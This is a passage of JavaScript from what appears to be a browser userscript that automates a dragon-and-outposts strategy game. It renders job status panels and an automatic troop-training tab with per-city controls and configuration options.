					var m = '<div class=' + UID['status_ticker'] + '>' + cityTitle(CAPITAL.id) + '<table class=' + UID['table'] + ' width=100%>' + dispCurrRessources(CAPITAL.id) + dispOutpostJob('dragon', CAPITAL.id) + dispOutpostJob('outpost', CAPITAL.id) + dispBuildingJob(CAPITAL.id) + dispDefenseTowerJob(CAPITAL.id) + dispResearchJob(CAPITAL.id) + dispTrainingJobs(CAPITAL.id) + '	</table>' + '</div>';

					/* Outposts ... */
					for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
						if (cityIdx != CAPITAL.id && Seed.cities[cityIdx]) {
							m += '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + cityTitle(cityIdx) + '<table class=' + UID['table'] + ' width=100%>' + ((cityIdx == SPECTRAL_OUTPOST.id) ? dispSoulCapacity() : '') + dispOutpostJob('dragon', cityIdx) + dispOutpostJob('outpost', cityIdx) + dispBuildingJob(cityIdx) + dispResearchJob(cityIdx) + dispTrainingJobs(cityIdx) + dispResurrectionJobs(cityIdx) + '	</table>' + '</div>';
						}
					}
					m += '<br><div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + '>' + '<tr><td align=left width=35%>' + translate('dragon-sanctuary') + '</td>' + '<td align=right width=65%>&nbsp;</td>' + '</tr></table></div>' + '<table class=' + UID['table'] + ' width=100%>' + dispBreedingJob() + dispFeedHatchJob('hatching', CAPITAL.id) + dispFeedHatchJob('feeding', CAPITAL.id) + '</table>' + '</div>';
					container.innerHTML = m;
					container.style.height = container.offsetHeight + 'px';
				}

				function dispCurrRessources(cityIdx) {
					var m = '<tr><td class=right width=20%>' + translate('Resources') + '</td>';
					var newline = '';
					for (var p = 0; p < all_resource_types.length; p++) {
						var lock_food = false;
						var production = Seed.cities[cityIdx].figures.resource_rates[all_resource_types[p]];
						var actualStock = numf(toNum(Seed.cities[cityIdx].resources[all_resource_types[p]]));
						if (all_resource_types[p] == 'food' && Seed.player.boosts && Seed.player.boosts.collect_resources && toNum(Seed.cities[cityIdx].resources[all_resource_types[p]]) > production.capacity) lock_food = true;
						desc = all_resource_types[p];
						if (all_resource_types[p] == 'blue_energy') desc = 'blueenergy250k';
						m += newline + '<td width =15%>' + translate(desc) + '</td><td width=1%>:</td><td align=right width=14%>' + actualStock + '</td><td width=5%> &nbsp </td>' + '<td width=10% align=right>(' + (lock_food ? '<font color=blue><b>0</b></font>' : numf(production.rate)) + ' /' + translate('h') + ')</td><td width=30%> &nbsp </td></tr>';
						newline = '<tr><td> &nbsp </td>'
					}
					var popCur = toNum(Seed.cities[cityIdx].figures.population['current']);
					var popLab = toNum(Seed.cities[cityIdx].figures.population['laborers']);
					var popFor = toNum(Seed.cities[cityIdx].figures.population['armed_forces']);
					var num = popCur - popLab - popFor;
					num = (num < 0) ? 0 : num;
					m += '<tr><td> &nbsp </td><td width =15%>' + translate('idlepopulation') + '</td><td width=1%>:</td><td align=right width=14%>' + numf(num, ' ') + '</td><td width=50% colspan=3> &nbsp </td></tr>';
					m += '</table><br><table class=' + UID['table'] + ' width=100%>';
					return m;
				}

				function dispBreedingJob() {
					var m = '';
					var jobs = Jobs.getJobs('breeding', false, -1);
					for (var i = 0; i < jobs.length; i++) {
						var left = '',
							timeRemaining = 0,
							male = '',
							female = '';
						if (i == 0) {
							left = translate('breeding-dragon') + ':';
							timeRemaining = (jobs[i].run_at - serverTime() > 0) ? jobs[i].run_at - serverTime() : 0;
						} else {
							timeRemaining = jobs[i].duration;
						}
						if (!Seed.sanctuary_dragons[jobs[i].male_id]) {
							verboseLog('Error: Inexisting dragon ' + jobs[i].male_id);
							male = jobs[i].male_id;
						} else {
							male = translateByKey(Seed.sanctuary_dragons[jobs[i].male_id].subtype, 'rank-' + Seed.sanctuary_dragons[jobs[i].male_id].type, 'dragons');
						}
						if (!Seed.sanctuary_dragons[jobs[i].female_id]) {
							verboseLog('Error: Inexisting dragon ' + jobs[i].female_id);
							female = jobs[i].female_id;
						} else {
							female = translateByKey(Seed.sanctuary_dragons[jobs[i].female_id].subtype, 'rank-' + Seed.sanctuary_dragons[jobs[i].female_id].type, 'dragons');
						}
						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + male + ' + ' + female + '</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font></td></tr>';
					}
					return m;
				}

				function dispBuildingJob(cityIdx) {
					var m = '<tr><td width=20% class=right>' + translate('Building') + ': </td>';
					var job = Jobs.getBuildingJob(cityIdx);
					if (job && job.job.run_at > serverTime()) {
						m += '<td width=50% align=left>' + translate(job.building.type) + ' (' + job.job.level + ') &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else {
						m += '<td align=left width=80% colspan=2><span class=' + UID['bold_red'] + '>' + translate('None').toUpperCase() + '</span></td></tr>';
					}
					return m;
				}
				
				function dispDefenseTowerJob(cityIdx) {
					var m = '<tr><td width=20% class=right>' + translate('Building') + ': </td>',
						job = Jobs.getDefenseTowerJob(cityIdx);

					if (job && job.job.run_at > serverTime()) {

						m += '<td width=50% align=left colspan=2>' + translate(job.building.type) + ' (' + job.job.level + ') &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else {
						m += '<td align=left width=80% colspan=3><span class=' + UID['bold_red'] + '>' + translate('DefensiveTower') + ' ' + translate('None').toUpperCase() + '</span></td></tr>';
					}

					return m;
				}

				function dispFeedHatchJob(type, cityIdx) {
					var m = '';
					var jobs = Jobs.getJobs(type, false, cityIdx);
					for (var i = 0; i < jobs.length; i++) {
						var left = '',
							timeRemaining = 0,
							dragon = '';
						if (i == 0) {
							left = translate(((type == 'feeding') ? 'upgrading-dragon' : 'hatching-egg')) + ':';
							timeRemaining = (jobs[i].run_at - serverTime() > 0) ? jobs[i].run_at - serverTime() : 0;
						} else {
							timeRemaining = jobs[i].duration;
						}
						var dragon_id = (type == 'feeding') ? jobs[i].dragon_id : jobs[i].egg_id;
						if (!Seed.sanctuary_dragons[dragon_id]) {
							verboseLog('Error: Inexisting dragon ' + dragon_id);
							dragon = dragon_id;
						} else {
							dragon = translateByKey(Seed.sanctuary_dragons[dragon_id].subtype, 'rank-' + Seed.sanctuary_dragons[dragon_id].type, 'dragons');
						}
						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + dragon + '</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font></td></tr>';
					}
					return m;
				}

				function dispOutpostJob(type, cityIdx) {
					var m = '';
					var job = Jobs.getJobs(type, true, cityIdx)[0];
					if (job && job.run_at > serverTime()) {
						m += '<tr><td class=right width=20%>' + translate(((type == 'outpost') ? 'Repairing' : 'Healing')) + ':</td>' + '<td width=50%><SPAN class=' + UID['bold_red'] + '>' + translate(((type == 'outpost') ? 'outpost-progress' : 'Dragon healing')) + '</span></td><td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.run_at - serverTime(), true) + '</font></td></tr>';
					}
					return m;
				}

				function dispResearchJob(cityIdx) {
					var m = '<tr><td class=right width=20%>' + translate('Researching') + ': </td>';
					var job = Jobs.getJobs('research', true, cityIdx)[0];
					if (job && job.run_at > serverTime()) {
						m += '<td width=50% align=left>' + translate(job.research_type) + ' (' + job.level + ') &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else if (cityIdx == CAPITAL.id) {
						m += '<td align=left width=80% colspan=2><span class=' + UID['bold_red'] + '>' + translate('None').toUpperCase() + '</span></td></tr>';
					} else return '';
					return m;
				}

				function dispSoulCapacity() {
					var m = '',
						cap = getSoulCapacity(),
						percentage = '';
					if (cap && cap.max > 0) {
						var pct = cap.min / cap.max * 10000;
						if (pct > 9000)
							percentage = '<span class=' + UID['bold_red'] + '>' + numf(Math.round(pct / 100), ' ') + '%</span>';
						else percentage = '<font color=' + TIMER_COLOR + '>' + numf(Math.round(pct / 100), ' ') + '%</font>';
						m += '<tr><td class=right width=20%>' + translate('Capacity') + ':</td>' + '	<td width=50% colspan=2><font color=' + TIMER_COLOR + '><b>' + numf(cap.min, ' ') + ' / ' + numf(cap.max, ' ') + '</b></span></td>' + '	<td width=30%>' + percentage + '</td>' + '</tr>';
					}
					return m;
				}

				function dispTrainingJobs(cityIdx) {
					var m = '',
						trains = [];
					for (var i = 0; i < Seed.cities[cityIdx].jobs.length; i++) {
						if (Seed.cities[cityIdx].jobs[i].queue == 'units' &&
							Seed.cities[cityIdx].jobs[i].unit_type &&
							Seed.cities[cityIdx].jobs[i].run_at > serverTime()
						) {
							trains.push(Seed.cities[cityIdx].jobs[i]);
						}
					}
					trains.sort(function(a, b) {
						return a.run_at - b.run_at
					});
					for (var i = 0; i < trains.length; i++) {
						var left = '',
							tot = '',
							timeRemaining = 0;
						if (i == 0) {
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
							left = translate('Training') + ':';
						} else if (i == trains.length - 1) {
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
							tot = '&nbsp;<b>(' + timestrShort(timeRemaining) + ')</b>';
							timeRemaining = trains[i].duration;
						} else {
							timeRemaining = trains[i].duration;
						}
						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50%>' + numf(trains[i].quantity, ' ') + '&nbsp;&nbsp;' + translate(trains[i].unit_type) + '&nbsp;</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font>&nbsp' + tot + '</td>' + '</tr>';
					}
					return m;
				}

				function dispResurrectionJobs(cityIdx) {
					var m = '',
						trains = [];
					for (var i = 0; i < Seed.cities[cityIdx].jobs.length; i++) {
						if (Seed.cities[cityIdx].jobs[i].queue == 'resurrection' &&
							Seed.cities[cityIdx].jobs[i].unit_type &&
							Seed.cities[cityIdx].jobs[i].run_at > serverTime()
						) {
							trains.push(Seed.cities[cityIdx].jobs[i]);
						}
					}
					trains.sort(function(a, b) {
						return a.run_at - b.run_at
					});
					for (var i = 0; i < trains.length; i++) {
						var left = '',
							tot = '',
							timeRemaining = 0;
						if (i == 0) {
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
							left = translate('Resurrection') + ':';
						} else if (i == trains.length - 1) {
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
							tot = '&nbsp;<b>(' + timestrShort(timeRemaining) + ')</b>';
							timeRemaining = trains[i].duration;
						} else {
							timeRemaining = trains[i].duration;
						}
						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + numf(trains[i].quantity, ' ') + '&nbsp;&nbsp;' + translate(trains[i].unit_type) + '&nbsp;</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font>&nbsp' + tot + '</td>' + '</tr>';
					}
					return m;
				}

				function cityTitle(cityIdx) {
					var city = Seed.cities[cityIdx];
					var divClass = getDivClass(cityIdx);
					var wallStatus = '';
					var alliance_name = (Seed.player.alliance) ? Seed.player.alliance.name : '';
					alliance_name = (city.type == 'Outpost') ? '' : alliance_name;
					if (cityIdx == CAPITAL.id)
						wallStatus = (Seed.cities[cityIdx].defended != undefined && Seed.cities[cityIdx].defended) ? '<font class=' + UID['defending'] + '>' + translate('Defend').toUpperCase() + '</font>' : '<font class=' + UID['hiding'] + '>' + translate('Hiding').toUpperCase() + '</font>';
					else wallStatus = ' &nbsp ';
					var title = '' + '<div class=' + UID[divClass] + '>' + '	<table class=' + UID['table'] + '>' + '	<tr>' + '		<td align=left width=35%>' + ((city.type == 'Outpost') ? translate(city.name) : city.name) + '</td>' + '		<td align=center width=30%>' + city.x + ',' + city.y + '</td>' + '		<td align=center width=200px>' + '			<font color=yellow>' + alliance_name + '</font>' + '		</td>' + '		<td width=35% align=right>' + wallStatus + '</td>' + '	</tr>' + '</table></div>';
					return title;
				}
				
				function getDivClass(cityIdx) {
					var divClass = 'subtitle';
					switch (cityIdx) {
						case CAPITAL.id:
							break;
						case SPECTRAL_OUTPOST.id:
							divClass = 'subtitle_sr';
							break;
						case SKY_OUTPOST.id:
							break;
						case CAVE_OUTPOST.id:
							break;
						case LUNA_OUTPOST.id:
							break;
						case COLOSSUS_OUTPOST.id:
							break;
						default:
							break;
					}
					return divClass;
				}

				function refresh() {
					logit('fetchPlayer from Tab.Jobs refresh');
					var t = Tabs.Jobs;
					if (t.refreshPlayerBusy) return false;
					t.refreshPlayerBusy = true;
					refreshPlayerData(t.container, function() {
						logit(translate('Player data retrieved'));
						Tabs.Jobs.refreshPlayerBusy = false
					});
					t.tabJobInfo();
				}

				jobsStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(jobsStatTick, 1000);
			},

			/*** Jobs Tab - Train Sub-tab ***/
			tabJobTrain: function() {
				var t = Tabs.Jobs;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabJobTrain']).className = 'selected';
				document.getElementById(UID['tabJobTrain']).style.zIndex = 1;
				t.lastSubTab = 'tabJobTrain';

				t.contentType = 1;

				var n = '<div class=' + UID['title'] + '>' + translate('Train') + ' ' + translate('Automatically') + '</div>' + '<div class=' + UID['status_ticker'] + ' style="margin-bottom: 5px !important">' + '	<center><input id=' + setUID('tabJobTrain_OnOff') + ' type=button /></center>' + '	<div id=' + setUID('tabJobTrain_Report') + ' class=' + UID['status_report'] + '>' + '		<table id=' + setUID('tabJobTrain_Table') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '	<br>' + '	<div id=' + setUID('tabJobTrain_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabJobTrain_tabTrain') + '>' + translate('Train') + '</a></li>' + '	<li class="tab"><a id=' + setUID('tabJobTrain_tabConfig') + '>' + translate('Config') + '</a></li>' + '</ul>';
				document.getElementById(UID['tabJob_Header']).style.height = "225px";
				document.getElementById(UID['tabJob_Header']).innerHTML = n;

				var m = '<div id=' + setUID('tabJobTrain_Content') + ' style="height:430px; ; max-height:430px; overflow-y:auto">';
				document.getElementById(UID['tabJob_Content']).style.height = "430px";
				document.getElementById(UID['tabJob_Content']).innerHTML = m;

				document.getElementById(UID['tabJobTrain_OnOff']).addEventListener('click', function() {
					var t = Tabs.Jobs;
					t.setTrainEnable(!Data.options.training.enabled);
				}, false);
				document.getElementById(UID['tabJobTrain_tabTrain']).addEventListener('click', t.tabJobTrainSets, false);
				document.getElementById(UID['tabJobTrain_tabConfig']).addEventListener('click', t.tabJobTrainConfig, false);
				t.refreshTrainButton(Data.options.training.enabled);

				switch (t.trainContentType) {
					case 0:
						t.tabJobTrainSets();
						break;
					case 1:
						t.tabJobTrainConfig();
						break;
				}
				t.trainStatTick();
				t.clearTimers();
				t.jobsStatTimer = setInterval(t.trainStatTick, 1000);
			},

			/*** Jobs Tab - Train Sub-tab  - Train Sub-Sub-tab ***/
			tabJobTrainSets: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobTrain_tabConfig']).className = '';
				document.getElementById(UID['tabJobTrain_tabConfig']).style.zIndex = 0;
				document.getElementById(UID['tabJobTrain_tabTrain']).className = 'selected';
				document.getElementById(UID['tabJobTrain_tabTrain']).style.zIndex = 1;

				/* Create troop table for each city */
				var el = [],
					m = '',
					cl = [],
					cj = [],
					tn = [],
					en = [],
					bc = [],
					max = [],
					clearOne = [],
					troopTypes = all_unit_types;
				for (var cityIdx = 0; cityIdx < Seed.cities.length; cityIdx++) {
					if (Data.options.collapsed.train[cityIdx] == undefined)
						Data.options.collapsed.train[cityIdx] = false;
				}

				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx] && cityIdx != SPECTRAL_OUTPOST.id && cityIdx != SKY_OUTPOST.id && cityIdx != LUNA_OUTPOST.id) {
						var city = Seed.cities[cityIdx];
						var cityJobsId = 'tabJobTrain_cityId_' + cityIdx;
						var cityJobsListId = 'tabJobTrain_cityList_' + cityIdx;
						var cityJobsEnabled = 'tabJobTrain_Enabled_' + cityIdx;
						var accordionId = 'tabJobTrain_accordion_' + cityIdx;
						var current_total_time = 0;
						var now = serverTime();
						if (city.jobs) {
							var jobs = city.jobs;
							var trains = [];
							for (var j = 0; j < jobs.length; j++)
								if (jobs[j].queue == 'units' && jobs[j].unit_type && jobs[j].run_at > now) trains.push(jobs[j]);
							if (trains.length > 0) {
								trains.sort(function(a, b) {
									return a.run_at - b.run_at;
								});
								var current_total_time = trains[trains.length - 1].run_at - now;
							}
						}
						m += '<div class=' + UID['status_ticker'] + ' style="margin-top:10px !important">' + '<A><div id=' + setUID(cityJobsId) + ' class=' + UID['subtitle'] + ' ref=' + cityIdx + '>' + '	<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td align=left width=1%><label><input type=checkbox id=' + setUID(cityJobsEnabled) + ' ref="Enable_' + cityIdx + '" ' + (Data.options.training.city[cityIdx].enabled ? 'checked' : '') + ' /></label></td>' + '		<td align=left width=29%>&nbsp;</td>' + '		<td align=center width=40%>' + ((city.type == 'Outpost') ? translate(city.name) : city.name) + '</td>' + '		<td align=right width=30%><font color=yellow>' + timestrShort(current_total_time) + '</font></td>' + '		<td align=right><div id=' + setUID(accordionId) + ' ref="' + cityIdx + '"></div></td>' + '	</tr>' + '</table></div></A>' + '<div id=' + setUID(cityJobsListId) + '>' + '<table class=' + UID['table'] + ' width=100%>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td></td><td>' + translate('Quantity') + '</td><td>' + translate('Action') + '</td><td>' + translate('Total') + '</td></tr>';

						cl.push(UID[cityJobsId]);
						en.push(UID[cityJobsEnabled]);

						for (var i = 0; i < troopTypes.length; i++) {
							var trainable = isTrainable(cityIdx, troopTypes[i]);
							if (trainable) {
								var num = Data.options.training.city[cityIdx].units[i];
								if (!num || isNaN(num)) num = 0;
								m += '<tr>' + '		<td class=right width=25%>' + translate(troopTypes[i]) + ':</td>' + '		<td align=middle width=10%><input type=text id=' + setUID('tabTrain_Troop_' + cityIdx + '_' + i) + ' ref=' + cityIdx + '_' + i + ' maxlength=7 size=2 value="' + num + '" style="width:45px;text-align:right;" /></td>' + '      <td align=middle width=15%>' + '          <input id=' + setUID('tabJobTrain_Max_' + cityIdx + '_' + i) + ' ref=' + cityIdx + '_' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=button value=' + translate('Max') + ' />' + '			<input class=small id=' + setUID('tabTrain_Now_' + cityIdx + '_' + i) + ' ref=' + cityIdx + '_' + i + ' type=button  style="width:auto !important;" value="' + translate('Train') + '" \>' + '          <input id=' + setUID('tabJobTrain_Clear_' + cityIdx + '_' + i) + ' ref=' + cityIdx + '_' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=button value=X />' + '     </td>' + '		<td align=right width=15%>&nbsp;<span class=jewel>(' + numf(getTroopNumbers(Seed.cities[CAPITAL.id], troopTypes[i]).total, ' ') + ')</span></td>' + '		<td align=left width=35% id=' + setUID('tabJobTrain_FB_' + cityIdx + '_' + troopTypes[i]) + ' class=jewel valign=top style="white-space:normal;"></td>' + '	</tr>';
								el.push(UID['tabTrain_Troop_' + cityIdx + '_' + i]);
								tn.push(UID['tabTrain_Now_' + cityIdx + '_' + i]);
								max.push(UID['tabJobTrain_Max_' + cityIdx + '_' + i]);
								clearOne.push(UID['tabJobTrain_Clear_' + cityIdx + '_' + i]);
							}
						}
						m += '<tr>' + ' <td></td>' + ' <td><input id=' + setUID('tabTrain_Clear_All_' + cityIdx) + ' type="button"  style="width:auto !important;" value="' + translate('Clear all') + '" ref="' + cityIdx + '" \></td>' + ' <td colspan=3></td>' + '</tr>' + '</table></div></div>';

						bc.push(UID['tabTrain_Clear_All_' + cityIdx]);
					}
				}

				m += '</div>';

				document.getElementById(UID['tabJobTrain_Content']).innerHTML = m;

				t.trainContentType = 0;

				for (var c = 0; c < cl.length; c++) {
					var cityIdx = document.getElementById(cl[c]).getAttribute('ref');
					var div_id = 'tabJobTrain_cityList_' + cityIdx;
					var acc_id = 'tabJobTrain_accordion_' + cityIdx;
					var div_el = document.getElementById(UID[div_id]);

					document.getElementById(cl[c]).addEventListener('click', toggleHideShow, false);

					if (Data.options.collapsed.train[cityIdx]) {
						div_el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
					} else {
						div_el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
					}
				}
				for (var i = 0; i < el.length; i++) {
					document.getElementById(el[i]).addEventListener('change', troopsChanged, false);
					document.getElementById(el[i]).addEventListener('click', troopsChanged, false);
				}
				for (var i = 0; i < tn.length; i++) {
					document.getElementById(tn[i]).addEventListener('click', onTrainNow, false);
				}
				for (var i = 0; i < en.length; i++) {
					document.getElementById(en[i]).addEventListener('change', onEnableCityNow, false);
					document.getElementById(en[i]).addEventListener('click', onEnableCityNow, false);
				}
				for (var i = 0; i < bc.length; i++) {
					document.getElementById(bc[i]).addEventListener('click', clearAll, false);
				}
				for (var i = 0; i < max.length; i++) {
					document.getElementById(max[i]).addEventListener('click', setMaxTroop, false);
				}
				for (var i = 0; i < clearOne.length; i++) {
					document.getElementById(clearOne[i]).addEventListener('click', clearOneInput, false);
				}

				function clearAll(event) {

					for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {

						if (cityIdx == toNum(event.target.getAttribute('ref')) &&
							Seed.cities[cityIdx] &&
							cityIdx != SPECTRAL_OUTPOST.id &&
							cityIdx != SKY_OUTPOST.id) {

							for (i = 0; i < troopTypes.length; i++) {
								var trainable = isTrainable(cityIdx, troopTypes[i]);
								if (trainable) {
									document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + i]).value = 0;
									document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + i]).click();
								}
							}
						}
					}

				}

				function setMaxTroop(event) {
					var args = event.target.getAttribute('ref').split('_');
					var unitType = all_unit_types[args[1]];

					var reqs = t.checkRequirements({
						reqs_type: 'unit',
						city_idx: toNum(args[0]),
						unit_type: all_unit_types[args[1]],
						unit_quantity: 1
					});

					document.getElementById(UID['tabTrain_Troop_' + args[0] + '_' + args[1]]).value = reqs.max_units;
					document.getElementById(UID['tabTrain_Troop_' + args[0] + '_' + args[1]]).click();
				}

				function clearOneInput(event) {
					var args = event.target.getAttribute('ref').split('_');
					document.getElementById(UID['tabTrain_Troop_' + args[0] + '_' + args[1]]).value = 0;
					document.getElementById(UID['tabTrain_Troop_' + args[0] + '_' + args[1]]).click();
				}

				function troopsChanged(event) {
					var args = event.target.getAttribute('ref').split('_');
					var unitQty = toNum(event.target.value);
					var cityIdx = toNum(args[0]);
					var unitType = all_unit_types[args[1]];
					var reqs = t.checkTrainReqs(unitType, unitQty, cityIdx);
					if (isNaN(unitQty) || unitQty < 0) {
						event.target.style.backgroundColor = 'red';
						dispError(translate('Invalid number of troops', t.container));
					} else {
						event.target.value = unitQty;
						Data.options.training.city[args[0]].units[args[1]] = unitQty;
						event.target.style.backgroundColor = '';
					}
				}

				function onEnableCityNow(event) {
					var cityIdx = event.target.getAttribute('ref').split('_');
					Data.options.training.city[cityIdx[1]].enabled = event.target.checked;
				}

				function onTrainNow(event) {
					var args = event.target.getAttribute('ref').split('_');
					var cityIdx = toNum(args[0]);
					var unitType = all_unit_types[args[1]];
					var unitQty = Data.options.training.city[cityIdx].units[args[1]];
					if (unitQty > 0) {
						cap = t.getTroopCap(unitType, unitQty);
						try {
							if (cap) {
								unitQty = 0;
								if (t.contentType == 1) t.jobFeedback(translate('Troops Capped'));
								document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + j]).style.backgroundColor = "red";
							} else if (t.contentType == 1) {
								if (document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + j]).style.backgroundColor == "red")
									document.getElementById(UID['tabTrain_Troop_' + cityIdx + '_' + j]).style.backgroundColor = "white";
							}
						} catch (e) {}
					}
					if (unitQty > 0) {
						var reqs = t.checkTrainReqs(unitType, unitQty, cityIdx);
						if (!reqs.msg) t.doTrain(unitType, unitQty, cityIdx);
					}
				}

				function toggleHideShow(event) {
					if (event.target.getAttribute('ref')) {
						var target_ref = event.target.getAttribute('ref').split('_');
						if (target_ref[0] == 'Enable') return;
					}
					if (event.target.tagName == 'DIV')
						element = event.target;
					else {
						var parentElement = event.target.parentNode;
						while (parentElement.tagName != 'DIV') {
							parentElement = parentElement.parentNode;
						}
						element = parentElement;
					}
					var cityIdx = element.getAttribute('ref');
					var div_id = 'tabJobTrain_cityList_' + cityIdx;
					var acc_id = 'tabJobTrain_accordion_' + cityIdx;
					var div_el = document.getElementById(UID[div_id]);
					if (div_el.style.display == 'none') {
						div_el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
						Data.options.collapsed.train[cityIdx] = false;
					} else {
						div_el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
						Data.options.collapsed.train[cityIdx] = true;
					}
				}
			},

			/*** config sub tab */
			tabJobTrainConfig: function() {
				var t = Tabs.Jobs;

				document.getElementById(UID['tabJobTrain_tabTrain']).className = '';
				document.getElementById(UID['tabJobTrain_tabTrain']).style.zIndex = 0;
				document.getElementById(UID['tabJobTrain_tabConfig']).className = 'selected';
				document.getElementById(UID['tabJobTrain_tabConfig']).style.zIndex = 1;

				t.trainContentType = 1;

				setUID('tabTrainConfig_QRadio');
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + '<div class=' + UID['subtitle'] + '>' + translate('Training Configuration') + '</div>' + '	<div class="' + UID['scrollable'] + '">' + '		<table class=' + UID['table'] + '>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td style="background:none !important;" colspan=2></td>' + '		</tr>' + '	<tr>' + '		<td><label><input type=radio name=' + UID['tabTrainConfig_QRadio'] + ' value="min_housing" />' + translate('Only one training queue per city') + '</label></td>' + '	</tr>' + '	<tr>' + '		<td><label><input type=radio name=' + UID['tabTrainConfig_QRadio'] + ' value="min_resource" />' + translate('Maximum training queues possible per city, according to available resources') + '</label></td>' + '	</tr>' + '  <tr>' + '		<td>' + translate('Tax Rate') + ' : <input disabled type=text id=' + setUID('TabJobTrainTaxRate') + ' maxlength=2 style="width:70px" size=3 value="' + Seed.cities[CAPITAL.id].figures.tax_rate + '"\>' + '% ' + ' <input disabled class=small id=' + setUID('TabJobTrainChangeTaxRate') + ' type=button style="width:auto !important;" value="' + translate('Change') + '" \>' + ' 		</td>' + '	</tr>' + '	</table>' + '</div>' + '<br>';

				var el = [];
				var troopTypes = all_unit_types;
				m += '<div class=' + UID['subtitle'] + ' style="background-color:#0044a0;">' + translate('Maximum Troops') + ' (0 = ' + translate('no max') + ')</div>' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr valign=top>' + '			<td width=33%>' + '			<table class=' + UID['table'] + ' width=100%>';

				var i;
				var nbre1 = Math.ceil(troopTypes.length / 2);
				for (i = 0; i < nbre1; i++) {
					m += '<tr>' + '	<td class=right width=70%>' + translate(troopTypes[i]) + ':</td>';
					var num = Data.options.training.city[0].cap[i];
					if (!num || isNaN(num)) num = 0;
					m += '<td width=30%><input type=text id=' + setUID('tabTrainConfig_Cap_' + 0 + '_' + i) + ' ref=' + (0 + '_' + i) + ' maxlength=8 size=2 value="' + num + '" style="width:60px;text-align:right;" /></td>' + '</tr>';
					el.push(UID['tabTrainConfig_Cap_' + 0 + '_' + i]);
				}
				m += '</table></td>' + '	<td width=33%>' + '	<table class=' + UID['table'] + ' width=100%>';
				for (i = nbre1; i < troopTypes.length; i++) {
					m += '<tr>' + '	<td class=right width=70%>' + translate(troopTypes[i]) + ':</td>';
					var num = Data.options.training.city[0].cap[i];
					if (!num || isNaN(num)) num = 0;
					m += '<td width=30%>' + '<input type=text id=' + setUID('tabTrainConfig_Cap_' + 0 + '_' + i) + ' ref=' + (0 + '_' + i) + ' maxlength=8 size=2 value="' + num + '" style="width:60px;text-align:right;" /></td>' + '</tr>';
					el.push(UID['tabTrainConfig_Cap_' + 0 + '_' + i]);
				}
				m += '			</table>' + '			</td>' + '		</tr>' + '	</table>' + '</div>' + '</div>';

				document.getElementById(UID['tabJobTrain_Content']).innerHTML = m;
				document.getElementById(UID['TabJobTrainChangeTaxRate']).addEventListener('click', changeTaxRate, false);
				document.getElementById(UID['TabJobTrainTaxRate']).addEventListener('change', onChangeTaxRate, false);

				var r = document.getElementsByName(UID['tabTrainConfig_QRadio']);
				for (var i = 0; i < r.length; i++) {
					r[i].addEventListener('change', enableChanged, false);
					r[i].checked = (r[i].value == Data.options.training.mode);
				}
				for (var i = 0; i < el.length; i++) {
					document.getElementById(el[i]).addEventListener('change', troopsChanged, false);
				}

				function onChangeTaxRate(event) {
					var newRate = event.target.value;
					if (isNaN(newRate) || newRate < 0 || newRate > 100) {
						event.target.style.backgroundColor = 'red';
						event.target.value = Seed.cities[CAPITAL.id].figures.tax_rate;
					} else {
						event.target.style.backgroundColor = 'white';
					}
				}

				function changeTaxRate(event) {
					var newRate = document.getElementById(UID['TabJobTrainTaxRate']).value;
